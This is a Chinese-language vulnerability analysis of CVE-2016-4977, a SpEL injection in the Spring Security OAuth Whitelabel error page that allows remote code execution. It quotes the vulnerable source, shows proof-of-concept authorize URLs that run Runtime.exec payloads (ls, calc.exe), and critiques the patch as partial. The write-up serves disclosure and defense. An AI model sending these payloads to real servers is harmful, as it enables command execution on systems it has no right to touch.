几个月前,我对一个使用Spring Security OAuth框架进行授权的Web应用程序进行了测试。在我的研究中,我发现了一些问题,包括远程代码执行漏洞。
该Web应用程序使用了广泛适用的框架Spring Security OAuth实现。人们会默认这是安全的,但事实上并不是。然后我发现有几个著名的网站也实施了易受攻击的代码。
如果你想自己验证自己的网站是否存在问题,你下载spring boot demo应用程序作为maven项目:http://secalert.net/research/cve-2016-4977.zip。
通常人们会通过一个合法的请求来运行demo程序:
一切正常。 然后我开始寻找常见的问题,如XSS:
这导致了一个错误,显示:”Whitelabel Error Page”。令人惊讶的是许多知名的网站仍然使用whitelabel错误页面,而不是配置自定义的错误页面。Spring Security OAuth的例子默认情况下发生错误时会显示”Whitelabel Error Page”。Whitelabel视图反映了部分给定的参数值,这导致了XSS。在黑盒测试中发现XSS之后,我并没有马上报告这个问题,而是查看了源代码以确定存在漏洞的代码。在审查源代码时,我意识到有一个更危险的问题存在。
查看源代码:
Source code: https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java Lines 137-148: private final SpelView defaultErrorView = new SpelView(" Whitelabel Error Page "+ " This application has no explicit mapping for /error, so you are seeing this as a fallback. "+ " ${timestamp} " + " There was an unexpected error (type=${error}, status=${status}). " + " ${message} "); @Bean(name = "error") @ConditionalOnMissingBean(name = "error") public View defaultErrorView() { return this.defaultErrorView; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
Source code: https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java Lines 137-148: private final SpelView defaultErrorView = new SpelView(" Whitelabel Error Page
"+ " This application has no explicit mapping for /error, so you are seeing this as a fallback.
"+ " ${timestamp} " + " There was an unexpected error (type=${error}, status=${status}). " + " ${message} "); @Bean(name = "error") @ConditionalOnMissingBean(name = "error") public View defaultErrorView() { return this.defaultErrorView; } |
用户提供的值传递给”org.springframework.security.oauth2.provider.endpoint.SpelView” 类,该类使用”oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java”中的SpelExpressionParser。
Source code: /spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java ... import org.springframework.expression.spel.standard.SpelExpressionParser; ... private final SpelExpressionParser parser = new SpelExpressionParser(); private final StandardEvaluationContext context = new StandardEvaluationContext(); ... this.helper = new PropertyPlaceholderHelper("${", "}"); ... Expression expression = parser.parseExpression(name); ...
Source code: /spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java ... import org.springframework.expression.spel.standard.SpelExpressionParser; ... private final SpelExpressionParser parser = new SpelExpressionParser(); private final StandardEvaluationContext context = new StandardEvaluationContext(); ... this.helper = new PropertyPlaceholderHelper("${", "}"); ... Expression expression = parser.parseExpression(name); ... |
这非常有趣,Spring表达式语言(单击此处查看详细信息)是spring用于注释中的配置和代码位置的语法。为了检查该参数是否也易受Spring表达式语言注入,我通过以下来测试:
http://localhost:8080/oauth/authorize? response_type=token&client_id=secalert&scope=openid&redirect_uri=${777-111}
http://localhost:8080/oauth/authorize? response_type=token&client_id=secalert&scope=openid&redirect_uri=${777-111} |
响应消息显示“666”,这意味着POC代码已经进行了评估!
http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid &redirect_uri=${T(java.lang.Runtime).getRuntime().exec("ls")}
http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid &redirect_uri=${T(java.lang.Runtime).getRuntime().exec("ls")} |
http://localhost:8080/oauth/authorize? response_type=calc.exe${T%28java.lang.Runtime%29.getRuntime%28%29.exec%28toString%28%29.substring%28112,120%29%29}&client_id=secalert&scope=openid&redirect_uri=http://test
http://localhost:8080/oauth/authorize? response_type=calc.exe${T%28java.lang.Runtime%29.getRuntime%28%29.exec%28toString%28%29.substring%28112,120%29%29}&client_id=secalert&scope=openid&redirect_uri=http://test |
维护者发布了一个修补程序:https://pivotal.io/de/security/cve-2016-4977
如果一个人审查应用的错误修复(https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d),可以得出结论,这个修复看起来是一种局部的修复。他们尝试通过使用“org.springframework.security.oauth2.common.util.RandomValueStringGenerator”类替换”{” 前缀来阻止whitelabel视图中的递归占位符。
Source code: "https://github.com/spring-projects/spring-security-oauth/blob/master/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java": ... public SpelView(String template) { this.template = template; this.prefix = new RandomValueStringGenerator().generate() + "{"; this.context.addPropertyAccessor(new MapAccessor()); this.resolver = new PlaceholderResolver() { public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); Object value = expression.getValue(context); return value == null ? null : value.toString(); } }; } ... String maskedTemplate = template.replace("${", prefix); PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}"); String result = helper.replacePlaceholders(maskedTemplate, resolver); result = result.replace(prefix, "${");
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
Source code: "https://github.com/spring-projects/spring-security-oauth/blob/master/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java": ... public SpelView(String template) { this.template = template; this.prefix = new RandomValueStringGenerator().generate() + "{"; this.context.addPropertyAccessor(new MapAccessor()); this.resolver = new PlaceholderResolver() { public String resolvePlaceholder(String name) { Expression expression = parser.parseExpression(name); Object value = expression.getValue(context); return value == null ? null : value.toString(); } }; } ... String maskedTemplate = template.replace("${", prefix); PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}"); String result = helper.replacePlaceholders(maskedTemplate, resolver); result = result.replace(prefix, "${"); |
这看起来像一个快速的解决方案,但如果攻击者提出足够的请求,但由于竞争条件RCE仍然可以被利用,因为RandomValueStringGenerator(API docs)类生成一个默认长度(6)的字符串。
作为网络开发人员或网络管理员,您应该考虑停用whitelabel错误页面使用一个通用的文本自定义错误页。请参考点“77.2自定义的whitelabel错误页:http://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html
未经允许不得转载:MottoIN » CVE-2016-4977: RCE in Spring Security Oauth漏洞分析